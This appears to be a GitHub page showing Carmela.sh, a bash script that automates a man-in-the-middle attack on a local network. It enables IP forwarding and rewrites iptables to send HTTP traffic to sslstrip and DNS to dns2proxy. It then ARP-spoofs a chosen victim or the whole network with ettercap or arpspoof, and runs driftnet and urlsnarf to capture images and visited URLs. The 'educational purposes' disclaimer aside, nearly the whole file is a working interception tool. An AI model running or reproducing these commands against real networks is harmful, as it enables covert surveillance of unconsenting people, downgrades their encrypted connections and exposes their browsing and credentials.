-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathCarmela.sh
475 lines (456 loc) · 10.9 KB
/
Carmela.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
#!/bin/bash
#<Carmela makes network traffic sniffing that much easier>
#Copyright (C) <2016> <tastypeanut>
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
clear
tput sgr0;
tput bold; tput setaf 6;
echo -e "
____ _
/ ___|__ _ _ __ _ __ ___ ___| | __ _
| | / _' | '__| '_ ' _ \ / _ \ |/ _' |
| |__| (_| | | | | | | | | __/ | (_| |
\____\__,_|_| |_| |_| |_|\___|_|\__,_| EASY NETWORK SNIFFING
===================================================================
This tool is only for educational purposes, any illegal activity done with it falls exclusively under the user's responsability. The developer isn't responsible for any actions done by the user. Sniffing someone's traffic without their express permission and the network owner's authorisation is ILLEGAL. This program is in it's early stages of development and may contain bugs. By starting Carmela you are accepting these terms.
"
tput sgr0;
tput bold;tput setaf 7;
echo "
Start? (y/n):";
tput sgr0;
tput dim;
read -r answer
if [[ $answer = N || $answer = n ]];
then
tput sgr0;
tput bold;tput setaf 7
echo "
OK BYE.";
tput sgr0;
exit
elif [[ $answer = Y || $answer = y ]];
then
tput sgr0;
tput bold;tput setaf 7;
echo "
OK GREAT, LET'S START.";
else
tput sgr0;
tput bold;tput setaf 7;
echo "
INVALID ANSWER, EXITING NOW.";
tput sgr0;
sleep 1;
exit
fi
(
if [ ! -f /usr/lib/Carmela ]
then
(
cd /usr/lib &&
touch Carmela
) &&
tput sgr0;
tput bold;tput setaf 2;
echo "
[+] INSTALLING SSLSTRIP2";
tput sgr0;
tput dim;
cd masters/sslstrip2master &&
python setup.py install
fi
)
sleep 1
tput sgr0;
tput bold;tput setaf 2;
echo "
[+] FLUSHING IPTABLES..."
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --flush -t nat
sleep 1
echo "
[+] REDIRECTING PORTS..."
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
tput sgr0;
tput bold;tput setaf 7;
sleep 1
echo "
Time to configure the network sniffer, please type in the name of the network interface to sniff, you can check which one you are using by typing 'ifconfig' in a separate terminal."
tput sgr0;
tput dim
read -r interface
tput sgr0;
tput bold;tput setaf 7;
echo "
Would you like to perform the attack on a certain victim or on the entire network?"
tput sgr0;
tput bold;tput setaf 2;
echo "
1: On a certain victim.
2: On the entire network."
tput sgr0;
tput bold;tput setaf 7;
echo "
Type in the number of the option you would like to select:"
tput sgr0;
tput dim;
read -r option
if [[ $option = 1 ]]; #if1
then
tput sgr0;
tput bold;tput setaf 7;
echo "
Now choose the network sniffer you would like to use to perform the attack:"
tput sgr0;
tput bold;tput setaf 2;
echo "
1: Ettercap.
2: Arpspoof."
tput sgr0;
tput bold;tput setaf 7;
echo "
Type in the number of the option you would like to select:"
tput sgr0;
tput dim;
read -r sniffer;
tput sgr0
if [[ $sniffer = 1 ]]; #if2
then
tput sgr0;
tput bold;tput setaf 7;
echo "
Ip of the gateway (you can check this by typing 'route -n' in a separate terminal):";
tput sgr0;
tput dim;
read -r gatewayip;
tput sgr0;
tput bold;tput setaf 7;
echo "
Ip of the victim:";
tput sgr0;
tput dim;
read -r victimip;
tput sgr0;
tput bold;tput setaf 7;
echo "
Do you want to start sniffing?(y/n)"
tput sgr0;
tput dim;
read -r shakespeare;
tput sgr0
if [[ $shakespeare = N || $shakespeare = n ]]
then
tput sgr0;
tput bold;tput setaf 7;
echo "
OK THEN, EXITING THE PROGRAM";
tput sgr0;
sleep 1;
exit
fi
if [[ "$shakespeare" -ne "N"&&"$shakespeare" -ne "Y"&&"$shakespeare" -ne "n"&&"$shakespeare" -ne "y" ]]
then tput sgr0;
tput bold;tput setaf 7;
echo "
INVALID ANSWER, EXITING NOW.";
tput sgr0;
sleep 1;
exit
fi
if [[ $shakespeare = Y || $shakespeare = y ]]
then
tput sgr0;
tput bold;tput setaf 7;
echo "
STARTING THE SNIFFING...";
fi
tput sgr0;
tput bold;tput setaf 1;
sleep 1;
echo "
Starting dns2proxy...";
(
cd masters &&
cd dns2proxymaster &&
gnome-terminal -e "python dns2proxy.py"
)
sleep 2;
echo "
Starting sslstrip version 2...";
gnome-terminal -e "sslstrip -l 9000";
sleep 2;
echo "
Starting Ettercap...";
gnome-terminal -e "ettercap -Tqi $interface -M arp:remote /$gatewayip///$victimip/ -P autoadd";
sleep 3
tput sgr0;
tput bold;tput setaf 2 ;
echo "
Sniffing..."
fi #fi2
if [[ $sniffer = 2 ]]; #if3
then
tput sgr0;
tput bold;tput setaf 7;
echo "
Ip of the gateway (you can check this by typing 'route -n' in a separate terminal):";
tput sgr0;
tput dim;
read -r gatewayip;
tput sgr0;
tput bold;tput setaf 7;
echo "
Ip of the victim:";
tput sgr0;
tput dim;
read -r victimip;
tput sgr0;
tput bold;tput setaf 7;
echo "
Do you want to start sniffing?(y/n)"
tput sgr0;
tput dim;
read -r shakespeare;
tput sgr0;
tput bold;tput setaf 7;
if [[ $shakespeare = N || $shakespeare = n ]]
then
tput sgr0;
tput bold;tput setaf 7;
echo "
OK THEN, EXITING THE PROGRAM";
tput sgr0;
sleep 1;
exit
fi
if [[ "$shakespeare" -ne "N"&&"$shakespeare" -ne "Y"&&"$shakespeare" -ne "n"&&"$shakespeare" -ne "y" ]]
then
tput sgr0;
tput bold;tput setaf 7;
echo "
INVALID ANSWER, EXITING NOW.";
tput sgr0;
sleep 1;
exit
fi
if [[ $shakespeare = Y || $shakespeare = y ]]
then
tput sgr0;
tput bold;tput setaf 7;
echo "
STARTING THE SNIFFING...";
fi
tput sgr0;
tput bold;tput setaf 1;
sleep 1
echo "
Starting dns2proxy..."
(
cd masters &&
cd dns2proxymaster &&
gnome-terminal -e "python dns2proxy.py"
)
sleep 2
echo "
Starting sslstrip version 2..."
gnome-terminal -e "sslstrip -l 9000"
sleep 2
echo "
Starting Arpspoof..."
gnome-terminal -e "arpspoof -i $interface -t $gatewayip $victimip"
sleep 2
gnome-terminal -e "arpspoof -i $interface -t $victimip $gatewayip"
sleep 3
tput sgr0;
tput bold;tput setaf 2;
echo "
Sniffing..."
fi #fi3
if [[ "$sniffer" -ne "1"&&"$sniffer" -ne "2" ]]
then
tput sgr0;
tput bold;tput setaf 7;
echo "
INVALID ANSWER, EXITING NOW.";
tput sgr0;
sleep 1;
exit
fi
fi #fi1
if [[ $option = 2 ]]; #if4
then
tput sgr0;
tput bold;tput setaf 7;
echo "
Do you want to start sniffing?(y/n)"
tput sgr0;
tput dim;
read -r shakespeare;
tput sgr0;
tput bold;tput setaf 7;
if [[ $shakespeare = N || $shakespeare = n ]]
then
echo "
OK THEN, EXITING THE PROGRAM";
tput sgr0;
sleep 1;
exit
fi
if [[ "$shakespeare" -ne "N"&&"$shakespeare" -ne "Y"&&"$shakespeare" -ne "n"&&"$shakespeare" -ne "y" ]]
then
tput sgr0;
tput bold;tput setaf 7;
echo "
INVALID ANSWER, EXITING NOW.";
tput sgr0;
sleep 1;
exit
fi
if [[ $shakespeare = Y || $shakespeare = y ]]
then
tput sgr0;
tput bold;tput setaf 7;
echo "
STARTING THE SNIFFING...";
fi
sleep 1
tput sgr0;
tput bold;tput setaf 1;
echo "
Starting dns2proxy..."
(
cd masters &&
cd dns2proxymaster &&
gnome-terminal -e "python dns2proxy.py"
)
sleep 2
echo "
Starting sslstrip version 2..."
gnome-terminal -e "sslstrip -l 9000"
sleep 2
echo "
Starting Ettercap..."
gnome-terminal -e "ettercap -Tqi $interface -M arp:remote -P autoadd"
sleep 3
tput sgr0;
tput bold;tput setaf 2 ;
echo "
Sniffing..."
fi #fi4
if [[ "$option" -ne "1"&&"$option" -ne "2"&&"$sniffer" -ne "1"&&"$sniffer" -ne "2" ]];
then
tput sgr0;
tput bold;tput setaf 7;
echo "
INVALID ANSWER, EXITING NOW.";
tput sgr0;
sleep 1;
exit
fi
tput sgr0;
tput bold;tput setaf 7;
echo "
Would you like to run Driftnet?(y/n):
Driftnet watches network traffic and picks out and displays JPEG and GIF images for display. You can save images to the current directory by clicking on them.
At the moment Driftnet is only capable of extracting content from websites using http."
tput sgr0;
tput dim;
read -r driftnet;
tput sgr0;
tput bold;tput setaf 7;
if [[ $driftnet = Y || $driftnet = y ]];
then
tput sgr0;
tput bold;tput setaf 2;
echo "
OK GREAT, STARTING DRIFTNET...";
gnome-terminal -e "driftnet -i $interface"
fi
if [[ "$driftnet" -ne "N"&&"$driftnet" -ne "Y"&&"$driftnet" -ne "n"&&"$driftnet" -ne "y" ]];
then
tput sgr0;
tput bold;tput setaf 7;
echo "
INVALID ANSWER, EXITING NOW.";
tput sgr0;
sleep 1;
exit
fi
tput sgr0;
tput bold;tput setaf 7;
echo "
Would you like to run URLSnarf?(y/n):
URLSnarf outputs all requested URLs sniffed from HTTP traffic."
tput sgr0;
tput dim;
read -r urlsnarf;
tput sgr0;
tput bold;tput setaf 7;
if [[ $urlsnarf = N || $urlsnarf = n ]];
then
tput sgr0;
tput bold;tput setaf 7;
echo "
OK, ENDING CARMELA.";
sleep 2;
exit
elif [[ $urlsnarf = Y || $urlsnarf = y ]];
then
tput sgr0;
tput bold;tput setaf 7;
echo "
How would you like to run URLSnarf?"
tput sgr0;
tput bold;tput setaf 2 ;
echo "
1: Full output (spews out large amounts of information, such as browser version, URLs visited, or OS)
2: Easy to read output (only shows visited URLs)"
tput sgr0;
tput bold;tput setaf 7;
echo "
Type in the number of the option you would like to select:"
fi
tput sgr0;
tput dim;
read -r outputtype;
tput sgr0;
tput bold;tput setaf 7;
if [[ $outputtype = 1 ]]
then
tput sgr0;
tput bold;tput setaf 2;
echo "
OK GREAT, STARTING URLSNARF IN FULL OUTPUT MODE...";
gnome-terminal -e "urlsnarf -i $interface"
fi
if [[ $outputtype = 2 ]]
then
tput sgr0;
tput bold;tput setaf 2 ;
echo "
OK GREAT, STARTING URLSNARF IN EASY TO READ MODE...";
gnome-terminal -x bash -c "urlsnarf -i wlan0 | cut '-d\"' -f4"
fi
if [[ "$outputtype" -ne "1"&&"$outputtype" -ne "2" ]];
then
tput sgr0;
tput bold;tput setaf 7;
echo "
INVALID ANSWER, EXITING NOW.";
tput sgr0;
sleep 1;
exit
fi
sleep 3